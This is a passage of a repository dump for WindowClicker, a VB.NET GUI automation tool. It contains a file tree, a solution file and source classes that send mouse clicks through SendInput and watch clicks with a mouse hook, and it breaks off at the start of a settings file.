├── ReadMe.txt
├── UpgradeLog.htm
├── WC-Setup
├── Release
│ ├── WC-Setup.msi.bananas
│ └── setup.exe
└── WC-Setup.vdproj
├── WindowClicker.sln
├── WindowClicker.suo
├── WindowLicker.v11.suo
├── WindowLicker
├── ExistingControl.vb
├── ExistingWindow.vb
├── Form1.Designer.vb
├── Form1.resx.bak
├── GuiEvent.vb
├── GuiMonitor.vb
├── LoopEvent.vb
├── MonitoredWindow.vb
├── MouseController.vb
├── MouseData.vb
├── My Project
│ ├── Application.Designer.vb
│ ├── Application.myapp
│ ├── AssemblyInfo.vb
│ ├── Resources.Designer.vb
│ ├── Resources.resx
│ ├── Settings.Designer.vb
│ ├── Settings.settings
│ └── app.manifest
├── NewWindow.vb
├── ScreenReader.vb
├── Snipper.vb
├── TextArea.vb
├── TextReader.vb
├── WindowClicker.vbproj
├── WindowClicker.vbproj.user
├── bin
│ ├── Debug
│ │ ├── WindowClicker.exe
│ │ ├── WindowClicker.pdb
│ │ ├── WindowClicker.vshost.exe
│ │ ├── WindowClicker.xml
│ │ ├── WindowLicker.exe
│ │ ├── WindowLicker.pdb
│ │ └── WindowLicker.xml
│ └── Release
│ │ ├── WindowClicker.exe
│ │ ├── WindowClicker.exe - Shortcut.lnk
│ │ ├── WindowClicker.pdb
│ │ ├── WindowClicker.vshost.exe
│ │ ├── WindowClicker.vshost.exe.manifest
│ │ ├── WindowClicker.xml
│ │ ├── chars.txt
│ │ └── xss.txt
├── frmAbout.Designer.vb
├── frmAbout.resx
├── frmAbout.vb
├── frmAddWindow.Designer.vb
├── frmAddWindow.resx
├── frmAddWindow.vb
├── frmCurrentWindows.Designer.vb
├── frmCurrentWindows.resx
├── frmCurrentWindows.vb
├── frmLoopEvent.Designer.vb
├── frmLoopEvent.resx
├── frmLoopEvent.vb
├── frmMain.Designer.vb
├── frmMain.resx
├── frmMain.vb
├── frmNewWindows.Designer.vb
├── frmNewWindows.resx
├── frmNewWindows.vb
├── frmOptions.Designer.vb
├── frmOptions.resx
├── frmOptions.vb
├── frmProperties.Designer.vb
├── frmProperties.resx
├── frmProperties.vb
├── frmReminder.Designer.vb
├── frmReminder.resx
├── frmReminder.vb
├── frmTextFields.Designer.vb
├── frmTextFields.resx
├── frmTextFields.vb
├── modMain.vb
├── obj
│ └── x86
│ │ ├── Debug
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── TempPE
│ │ │ └── My Project.Resources.Designer.vb.dll
│ │ ├── WindowClicker.Resources.resources
│ │ ├── WindowClicker.exe
│ │ ├── WindowClicker.frmAbout.resources
│ │ ├── WindowClicker.frmLoopEvent.resources
│ │ ├── WindowClicker.frmMain.resources
│ │ ├── WindowClicker.frmOptions.resources
│ │ ├── WindowClicker.frmProperties.resources
│ │ ├── WindowClicker.pdb
│ │ ├── WindowClicker.vbproj.FileListAbsolute.txt
│ │ ├── WindowClicker.vbproj.GenerateResource.Cache
│ │ ├── WindowClicker.xml
│ │ ├── WindowLicker.Resources.resources
│ │ ├── WindowLicker.exe
│ │ ├── WindowLicker.frmMain.resources
│ │ ├── WindowLicker.pdb
│ │ ├── WindowLicker.vbproj.FileListAbsolute.txt
│ │ ├── WindowLicker.vbproj.GenerateResource.Cache
│ │ └── WindowLicker.xml
│ │ └── Release
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── TempPE
│ │ └── My Project.Resources.Designer.vb.dll
│ │ ├── WindowClicker.Resources.resources
│ │ ├── WindowClicker.exe
│ │ ├── WindowClicker.frmAbout.resources
│ │ ├── WindowClicker.frmAddWindow.resources
│ │ ├── WindowClicker.frmCurrentWindows.resources
│ │ ├── WindowClicker.frmLoopEvent.resources
│ │ ├── WindowClicker.frmMain.resources
│ │ ├── WindowClicker.frmNewWindows.resources
│ │ ├── WindowClicker.frmOptions.resources
│ │ ├── WindowClicker.frmProperties.resources
│ │ ├── WindowClicker.frmReminder.resources
│ │ ├── WindowClicker.frmTextFields.resources
│ │ ├── WindowClicker.pdb
│ │ ├── WindowClicker.vbproj.FileListAbsolute.txt
│ │ ├── WindowClicker.vbproj.GenerateResource.Cache
│ │ └── WindowClicker.xml
└── resources
│ ├── CurrentWindows
│ ├── AppWindowHS.bmp
│ ├── Computer.png
│ └── ThumbnailView.png
│ ├── PortraitHH.bmp
│ ├── PortraitLandscapeHH.bmp
│ ├── PrintPreviewHS.bmp
│ ├── PropertiesHH.bmp
│ ├── TableHS.bmp
│ └── WebRefreshHH.bmp
└── tesseract-ocr-3.02-win32-portable.zip
/ReadMe.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/ReadMe.txt
--------------------------------------------------------------------------------
/UpgradeLog.htm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/UpgradeLog.htm
--------------------------------------------------------------------------------
/WC-Setup/Release/WC-Setup.msi.bananas:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WC-Setup/Release/WC-Setup.msi.bananas
--------------------------------------------------------------------------------
/WC-Setup/Release/setup.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WC-Setup/Release/setup.exe
--------------------------------------------------------------------------------
/WindowClicker.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "WindowClicker", "WindowLicker\WindowClicker.vbproj", "{31A1F597-8704-4A10-A5F3-96FC55EE6D33}"
5 | EndProject
6 | Project("{54435603-DBB4-11D2-8724-00A0C9A8B90C}") = "WC-Setup", "WC-Setup\WC-Setup.vdproj", "{E1806C82-81EA-48B3-9AD0-AF63C7CFD17F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x86 = Debug|x86
11 | Release|x86 = Release|x86
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Debug|x86.ActiveCfg = Debug|x86
15 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Debug|x86.Build.0 = Debug|x86
16 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Release|x86.ActiveCfg = Release|x86
17 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Release|x86.Build.0 = Release|x86
18 | {E1806C82-81EA-48B3-9AD0-AF63C7CFD17F}.Debug|x86.ActiveCfg = Debug
19 | {E1806C82-81EA-48B3-9AD0-AF63C7CFD17F}.Release|x86.ActiveCfg = Release
20 | EndGlobalSection
21 | GlobalSection(SolutionProperties) = preSolution
22 | HideSolutionNode = FALSE
23 | EndGlobalSection
24 | EndGlobal
25 |
--------------------------------------------------------------------------------
/WindowClicker.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowClicker.suo
--------------------------------------------------------------------------------
/WindowLicker.v11.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker.v11.suo
--------------------------------------------------------------------------------
/WindowLicker/ExistingControl.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Public Class ExistingControl
19 |
20 | Public ParentWindow As String = ""
21 | Public ParentHandle As IntPtr
22 |
23 | Public hWnd As IntPtr
24 | Public ControlClass As String = ""
25 | Public ControlName As String = ""
26 | Public ControlText As String = ""
27 |
28 | Sub New(ParentName As String, ParentHwnd As IntPtr, NewHwnd As IntPtr, NewClass As String, NewName As String, NewText As String)
29 |
30 | ParentWindow = ParentName
31 | ParentHandle = ParentHwnd
32 |
33 | hWnd = NewHwnd
34 | ControlClass = NewClass
35 | ControlName = NewName
36 | ControlText = NewText
37 |
38 | End Sub
39 |
40 | End Class
41 |
--------------------------------------------------------------------------------
/WindowLicker/ExistingWindow.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Public Class ExistingWindow
19 |
20 | Public ProcessName As String = "" ' Name of parent process
21 | Public WindowTitle As String = "" ' The Title of the Main Window
22 | Public WindowClass As String = ""
23 | Public hWnd As IntPtr ' The handle of the Main Window
24 |
25 | Sub New(ByVal NewClassName As String, ByVal NewTitle As String, ByVal NewhWnd As String)
26 | WindowClass = NewClassName
27 | WindowTitle = NewTitle
28 | hWnd = NewhWnd
29 | End Sub
30 |
31 | End Class
32 |
--------------------------------------------------------------------------------
/WindowLicker/Form1.resx.bak:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/WindowLicker/GuiEvent.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class GuiEvent
20 |
21 | Public Const LEFT_CLICK = 0
22 | Public Const RIGHT_CLICK = 1
23 | Public Const DOUBLE_CLICK = 2
24 | Public Const PASTE_LOOP_NUMBER = 3
25 | Public Const PASTE_FILE_DATA = 4
26 | Public Const PASTE_STATIC_TEXT = 5
27 | Public Const MIDDLE_CLICK = 6
28 | Public Const KEY_DOWN = 7
29 |
30 | '== Mouse position ==
31 | Public X As Integer = 0
32 | Public Y As Integer = 0
33 |
34 | Public EventType As Integer = LEFT_CLICK
35 |
36 | '== How many times to repeat the event ==
37 | Public Repeat As Integer = 1
38 |
39 | '== Clear or append? ==
40 | Public SelectAll As Boolean = False
41 | Public DeselectAll As Boolean = False
42 |
43 | '== Event data ==
44 | Public StaticText As String = ""
45 | Public DataFile As String = ""
46 | Public LoopData As New LoopEvent
47 |
48 | End Class
49 |
--------------------------------------------------------------------------------
/WindowLicker/GuiMonitor.vb:
--------------------------------------------------------------------------------
1 | Public Class GuiMonitor
2 |
3 | Public TerminateOnAll As Boolean = False
4 |
5 | Private ConditionCount As Integer = 0
6 | Private SatisfiedConditions As Integer = 0
7 |
8 | End Class
9 |
--------------------------------------------------------------------------------
/WindowLicker/LoopEvent.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class LoopEvent
20 |
21 | Public StartVal As Integer = 0
22 | Public EndVal As Integer = 0
23 | Public StepVal As Integer = 1
24 |
25 | End Class
26 |
--------------------------------------------------------------------------------
/WindowLicker/MonitoredWindow.vb:
--------------------------------------------------------------------------------
1 | Public Class MonitoredWindow
2 |
3 | Public OriginalText As String = "" ' The text being checked
4 | Public hWnd As IntPtr ' The handle of the Main Window
5 | Public IsChanged As Boolean = False ' Has test completed?
6 |
7 | Sub New(WindowText As String, NewHwnd As IntPtr)
8 | OriginalText = WindowText
9 | hWnd = NewHwnd
10 | End Sub
11 |
12 | End Class
13 |
--------------------------------------------------------------------------------
/WindowLicker/MouseController.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Imports System.Runtime.InteropServices
20 |
21 |
22 | Public Class MouseController
23 |
24 | Private Declare Auto Function GetDesktopWindow Lib "user32.dll" () As IntPtr
25 |
26 | '== Enum for mouse buttons ==
27 | Private Const LEFT_BUTTON As Integer = 0
28 | Private Const MIDDLE_BUTTON As Integer = 1
29 | Private Const RIGHT_BUTTON As Integer = 2
30 |
31 | '== Mouse events ==
32 | Private Const LEFT_MOUSE_DOWN As Integer = &H2
33 | Private Const LEFT_MOUSE_UP As Integer = &H4
34 | Private Const MIDDLE_MOUSE_DOWN = &H20
35 | Private Const MIDDLE_MOUSE_UP = &H40
36 | Private Const RIGHT_MOUSE_DOWN = &H8
37 | Private Const RIGHT_MOUSE_UP = &H10
38 |
39 | '== Set offset for input according to host system ==
40 | Private Const OFFSET_32_BIT = 4
41 | Private Const OFFSET_64_BIT = 8
42 |
43 | Private intCurrentSystem As Integer = OFFSET_64_BIT
44 |
45 | Private Structure INPUT_64
46 | Public type As Integer
47 | Public mi As MOUSEINPUT
48 | Public ki As KEYBDINPUT
49 | Public hi As HARDWAREINPUT
50 | End Structure
51 |
52 | Private Structure INPUT_32
53 | Public type As Integer
54 | Public mi As MOUSEINPUT
55 | Public ki As KEYBDINPUT
56 | Public hi As HARDWAREINPUT
57 | End Structure
58 |
59 | Private Structure MOUSEINPUT
60 | Public dx As Integer
61 | Public dy As Integer
62 | Public mouseData As Integer
63 | Public dwFlags As Integer
64 | Public time As Integer
65 | Public dwExtraInfo As IntPtr
66 | End Structure
67 |
68 | Private Structure KEYBDINPUT
69 | Public wVk As Short
70 | Public wScan As Short
71 | Public dwFlags As Integer
72 | Public time As Integer
73 | Public dwExtraInfo As IntPtr
74 | End Structure
75 |
76 | Private Structure HARDWAREINPUT
77 | Public uMsg As Integer
78 | Public wParamL As Short
79 | Public wParamH As Short
80 | End Structure
81 |
82 | Private Shared Function SendInput(ByVal nInputs As Integer, ByVal pInputs() As INPUT_32, ByVal cbSize As Integer) As Integer
83 | End Function
84 |
85 | Public Shared Function FindWindow(ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr
86 | End Function
87 |
88 | Public Shared Function ShowWindow(ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean
89 | End Function
90 |
91 | Public Shared Function GetWindowThreadProcessId(ByVal hWnd As IntPtr, ByVal lpwdProcessId As IntPtr) As IntPtr
92 | End Function
93 |
94 | Public Sub LeftClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer)
95 | ' Send a left-click event to the system using user-supplied data
96 | '===============================================================
97 |
98 | MouseClick(ParentForm, X, Y)
99 |
100 | End Sub
101 |
102 | Public Sub MiddleClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer)
103 | ' Send a middle-click event to the system using user-supplied data
104 | '=================================================================
105 |
106 | MouseClick(ParentForm, X, Y, MIDDLE_BUTTON)
107 |
108 | End Sub
109 |
110 | Public Sub RightClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer)
111 | ' Send a right-click event to the system using user-supplied data
112 | '================================================================
113 |
114 | MouseClick(ParentForm, X, Y, RIGHT_BUTTON)
115 |
116 | End Sub
117 |
118 | Private Sub MouseClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer, Optional ByVal MouseButton As Integer = LEFT_BUTTON)
119 | ' Send a click event to the system using user-supplied data
120 | '==========================================================
121 | Dim ptScreenPoint As Point = ParentForm.PointToScreen(Point.Empty)
122 | Dim iptInputDetails(1) As INPUT_32
123 |
124 |
125 | '== Set screen Co-ordinates ==
126 | ptScreenPoint.X = X
127 | ptScreenPoint.Y = Y
128 |
129 | '== Move the cursor to the co-ordinate and send the click event ==
130 | Cursor.Position = ptScreenPoint
131 |
132 | '== Mouse-down event ==
133 | iptInputDetails(0).type = 0
134 | iptInputDetails(0).mi.dx = ptScreenPoint.X
135 | iptInputDetails(0).mi.dy = ptScreenPoint.Y
136 |
137 | Select Case MouseButton
138 | Case MIDDLE_BUTTON
139 | iptInputDetails(0).mi.dwFlags = MIDDLE_MOUSE_DOWN
140 | Case RIGHT_BUTTON
141 | iptInputDetails(0).mi.dwFlags = RIGHT_MOUSE_DOWN
142 | Case Else
143 | iptInputDetails(0).mi.dwFlags = LEFT_MOUSE_DOWN
144 | End Select
145 |
146 |
147 | '== Mouse-up event ==
148 | iptInputDetails(1).type = 0
149 | iptInputDetails(1).mi.dx = ptScreenPoint.X
150 | iptInputDetails(1).mi.dy = ptScreenPoint.Y
151 |
152 | Select Case MouseButton
153 | Case MIDDLE_BUTTON
154 | iptInputDetails(1).mi.dwFlags = MIDDLE_MOUSE_UP
155 | Case RIGHT_BUTTON
156 | iptInputDetails(1).mi.dwFlags = RIGHT_MOUSE_UP
157 | Case Else
158 | iptInputDetails(1).mi.dwFlags = LEFT_MOUSE_UP
159 | End Select
160 |
161 |
162 | '== Send events ==
163 | SendInput(2, iptInputDetails, Marshal.SizeOf(GetType(INPUT_32)))
164 |
165 | End Sub
166 |
167 | End Class
168 |
--------------------------------------------------------------------------------
/WindowLicker/MouseData.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Imports System.Runtime.InteropServices
20 | Imports System.Reflection
21 | Imports System.Windows.Forms
22 |
23 |
24 | Public Class MouseData
25 |
26 | '== Button click events ==
27 | Public Event LeftButtonClick(ByVal sender As Object, ByVal e As MouseEventArgs)
28 | Public Event RightButtonClick(ByVal sender As Object, ByVal e As MouseEventArgs)
29 |
30 | '== Hooking delegate function ==
31 | Private Delegate Function MouseHookCallBack(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer
32 |
33 | Private mhcCallBackDelegate As MouseHookCallBack
34 | Private intMouseHookID As Integer
35 |
36 | Private Enum MouseMessages
37 | '== Mouse event enum ==
38 | WM_LEFT_BTN_DOWN = 513
39 | WM_LEFT_BTN_UP = 514
40 | WM_LEFT_DBLCLICK = 515
41 | WM_RIGHT_BTN_DOWN = 516
42 | WM_RIGHT_BTN_UP = 517
43 | WM_RIGHT_DBLCLICK = 518
44 | End Enum
45 |
46 | Private Structure ScreenPoint
47 | '== Mouse co-ordinates ==
48 | Public x As Integer
49 | Public y As Integer
50 | End Structure
51 |
52 | Private Structure MouseHookStruct
53 | '== Mouse data used for hooking ==
54 | Public pt As ScreenPoint
55 | Public hwnd As Integer
56 | Public wHitTestCode As Integer
57 | Public dwExtraInfo As Integer
58 | End Structure
59 |
60 | '== Hook into Windows DLL for mouse events==
61 | Private Shared Function CallNextHookEx( _
62 | ByVal idHook As Integer, _
63 | ByVal nCode As Integer, _
64 | ByVal wParam As IntPtr, _
65 | ByVal lParam As IntPtr) As Integer
66 | End Function
67 |
68 | Private Shared Function SetWindowsHookEx _
69 | (ByVal idHook As Integer, ByVal HookProc As MouseHookCallBack, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
70 | End Function
71 |
72 | _
73 | Private Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Integer
74 | End Function
75 |
76 | Public Sub New()
77 | ' Class constructor for MouseData
78 | '================================
79 |
80 | If intMouseHookID = 0 Then
81 | '== Get Windows Hook to monmitor mouse events ==
82 | mhcCallBackDelegate = AddressOf MouseHookProc
83 | intMouseHookID = SetWindowsHookEx(CInt(14), mhcCallBackDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly.GetModules()(0)), 0)
84 |
85 | '== Check for success/failure ==
86 | If intMouseHookID = 0 Then
87 | MsgBox("Failed to create hook into user32.dll!", MsgBoxStyle.Critical, "Error")
88 | End If
89 | End If
90 |
91 | End Sub
92 |
93 | Public Sub Dispose()
94 | ' Class destructor - clean up all data, hooks, etc.
95 | '==================================================
96 |
97 | If Not intMouseHookID = -1 Then
98 | UnhookWindowsHookEx(intMouseHookID)
99 | mhcCallBackDelegate = Nothing
100 | End If
101 |
102 | '== Mark as closed ==
103 | intMouseHookID = -1
104 |
105 | End Sub
106 |
107 | Private Function MouseHookProc(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer
108 | ' Monitor Windows events and raise an event in any case where it's an event we're looking for
109 | '============================================================================================
110 | Dim mhsMouseData As MouseHookStruct
111 |
112 | '== Do we have a valid event? ==
113 | If nCode >= 0 Then
114 |
115 | '== Obtain mouse data from system ==
116 | mhsMouseData = Marshal.PtrToStructure(lParam, GetType(MouseHookStruct))
117 |
118 | '== Check for mouse events ==
119 | Select Case wParam
120 | Case MouseMessages.WM_LEFT_BTN_UP
121 | '== Left click ==
122 | RaiseEvent LeftButtonClick(Nothing, New MouseEventArgs(MouseButtons.Left, 1, mhsMouseData.pt.x, mhsMouseData.pt.y, 0))
123 | Case MouseMessages.WM_RIGHT_BTN_UP
124 | '== Right click ==
125 | RaiseEvent RightButtonClick(Nothing, New MouseEventArgs(MouseButtons.Right, 1, mhsMouseData.pt.x, mhsMouseData.pt.y, 0))
126 | End Select
127 | End If
128 |
129 | Return CallNextHookEx(intMouseHookID, nCode, wParam, lParam)
130 |
131 | End Function
132 |
133 | End Class
134 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/Application.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes,
18 | ' or if you encounter build errors in this file, go to the Project Designer
19 | ' (go to Project Properties or double-click the My Project node in
20 | ' Solution Explorer), and make changes on the Application tab.
21 | '
22 | Partial Friend Class MyApplication
23 |
24 | _
25 | Public Sub New()
26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
27 | Me.IsSingleInstance = false
28 | Me.EnableVisualStyles = true
29 | Me.SaveMySettingsOnExit = true
30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
31 | End Sub
32 |
33 | _
34 | Protected Overrides Sub OnCreateMainForm()
35 | Me.MainForm = Global.WindowClicker.frmMain
36 | End Sub
37 | End Class
38 | End Namespace
39 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/Application.myapp:
--------------------------------------------------------------------------------
1 |
2 |
3 | true
4 | frmMain
5 | false
6 | 0
7 | true
8 | 0
9 | true
10 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/AssemblyInfo.vb:
--------------------------------------------------------------------------------
1 | Imports System
2 | Imports System.Reflection
3 | Imports System.Runtime.InteropServices
4 |
5 | ' General Information about an assembly is controlled through the following
6 | ' set of attributes. Change these attribute values to modify the information
7 | ' associated with an assembly.
8 |
9 | ' Review the values of the assembly attributes
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM
21 |
22 |
23 | ' Version information for an assembly consists of the following four values:
24 | '
25 | ' Major Version
26 | ' Minor Version
27 | ' Build Number
28 | ' Revision
29 | '
30 | ' You can specify all the values or you can default the Build and Revision Numbers
31 | ' by using the '*' as shown below:
32 | '
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/Resources.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 | Imports System
15 |
16 | Namespace My.Resources
17 |
18 | 'This class was auto-generated by the StronglyTypedResourceBuilder
19 | 'class via a tool like ResGen or Visual Studio.
20 | 'To add or remove a member, edit your .ResX file then rerun ResGen
21 | 'with the /str option, or rebuild your VS project.
22 | '''
23 | ''' A strongly-typed resource class, for looking up localized strings, etc.
24 | '''
25 | _
29 | Friend Module Resources
30 |
31 | Private resourceMan As Global.System.Resources.ResourceManager
32 |
33 | Private resourceCulture As Global.System.Globalization.CultureInfo
34 |
35 | '''
36 | ''' Returns the cached ResourceManager instance used by this class.
37 | '''
38 | _
39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
40 | Get
41 | If Object.ReferenceEquals(resourceMan, Nothing) Then
42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowClicker.Resources", GetType(Resources).Assembly)
43 | resourceMan = temp
44 | End If
45 | Return resourceMan
46 | End Get
47 | End Property
48 |
49 | '''
50 | ''' Overrides the current thread's CurrentUICulture property for all
51 | ''' resource lookups using this strongly typed resource class.
52 | '''
53 | _
54 | Friend Property Culture() As Global.System.Globalization.CultureInfo
55 | Get
56 | Return resourceCulture
57 | End Get
58 | Set
59 | resourceCulture = value
60 | End Set
61 | End Property
62 | End Module
63 | End Namespace
64 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/Settings.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
